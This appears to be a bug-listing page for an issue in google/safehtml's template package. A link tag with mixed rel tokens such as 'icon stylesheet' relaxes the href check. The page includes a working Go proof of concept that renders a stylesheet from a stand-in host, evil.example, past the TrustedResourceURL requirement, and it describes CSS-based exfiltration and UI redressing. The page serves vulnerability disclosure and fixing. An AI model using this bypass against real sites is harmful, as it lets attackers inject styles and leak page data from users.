safehtml/template: one URL-ish rel token downgrades a <link href> that another token requires to be a TrustedResourceURL
Nobody has claimed this yet.
Assessment
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Newbie friendliness
- 76/100
Research direction
Start in template/sanitize.go at sanitizationContextForAttrVal, line 148, and trace how every token in a link element's rel value affects the href context. Reproduce the supplied Go PoC, especially the mixed-rel cases, then verify that any rel value containing stylesheet still requires TrustedResourceURL and rejects the attacker-controlled plain string.
Written by the indexing model from the issue text.
Description
sanitizationContextForAttrVal (template/sanitize.go:148) walks a link element's rel token list and returns on the first token found in urlLinkRelVals:
if element == "link" && attr == "href" {
relVals := strings.Fields(linkRel)
for _, val := range relVals {
if urlLinkRelVals[val] {
return sanitizationContextTrustedResourceURLOrURL, nil
}
}
}
rel holds a space separated set of tokens and a browser honours all of them. The loop never checks whether a later token demands the stricter contract, so any single permissive token relaxes the whole element. rel="stylesheet" alone correctly requires a TrustedResourceURL. rel="icon stylesheet" contains "icon", which is in urlLinkRelVals, so the href drops to TrustedResourceURLOrURL and accepts a plain string, while the browser still applies the stylesheet.
Minimal PoC against current safehtml:
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .
package main
import (
"fmt"
"strings"
"github.com/google/safehtml/template"
)
func render(label string, t *template.Template, err error) {
if err != nil {
fmt.Printf("%-26s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": "//evil.example/x.css"}); err != nil {
fmt.Printf("%-26s rejected: %v\n", label, err)
return
}
fmt.Printf("%-26s %s\n", label, out.String())
}
func main() {
a, aerr := template.New("a").Parse(`<link rel="stylesheet" href="{{.X}}">`)
render(`rel="stylesheet"`, a, aerr)
b, berr := template.New("b").Parse(`<link rel="icon stylesheet" href="{{.X}}">`)
render(`rel="icon stylesheet"`, b, berr)
c, cerr := template.New("c").Parse(`<link rel="preload stylesheet" href="{{.X}}">`)
render(`rel="preload stylesheet"`, c, cerr)
d, derr := template.New("d").Parse(`<link rel="alternate stylesheet" href="{{.X}}">`)
render(`rel="alternate stylesheet"`, d, derr)
}
Actual output:
rel="stylesheet" rejected: template: a:1:31: executing "a" at <_sanitizeTrustedResourceURL>: error calling _sanitizeTrustedResourceURL: expected a safehtml.TrustedResourceURL value
rel="icon stylesheet" <link rel="icon stylesheet" href="//evil.example/x.css">
rel="preload stylesheet" <link rel="preload stylesheet" href="//evil.example/x.css">
rel="alternate stylesheet" <link rel="alternate stylesheet" href="//evil.example/x.css">
The result is a stylesheet fetched from an origin the attacker chose and applied to the page: attribute selector exfiltration of rendered values, UI redressing, and @import or font chaining onward. rel="icon stylesheet" and rel="preload stylesheet" are applied immediately with no user interaction; the alternate stylesheet form needs the user to select it, so it is the weakest of the three.
Attack scenario
A remote attacker who controls a URL rendered into an affected mixed-rel can bypass the TrustedResourceURL requirement and load an attacker-controlled stylesheet without user interaction. This can enable page-content manipulation, credential-phishing UI, and limited disclosure of DOM attribute values, subject to CSP and browser restrictions.
- Dominant language
- Go
- Stars
- 380
- Forks
- 23
- PR merge metrics
- No merged PRs in 30d
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from google/safehtml
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
Difficulty 3/5 1-2 days Newbie friendliness 72/100
-
Difficulty 4/5 3-5 days Newbie friendliness 48/100
-
Difficulty 4/5 3-5 days Newbie friendliness 35/100
-
Difficulty 4/5 3-5 days Newbie friendliness 35/100
Similar issues
-
kind/bug needs-triage
Difficulty 1/5 Under an hour Newbie friendliness 72/100
matrixorigin/matrixone#29223 ·
-
needs-acceptance wg/data-plane-networking
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
vllm-project/semantic-router#4024 · 1 comment ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 86/100
alexgorbatchev/dotfiles#107 ·
-
Difficulty 1/5 Under an hour Newbie friendliness 84/100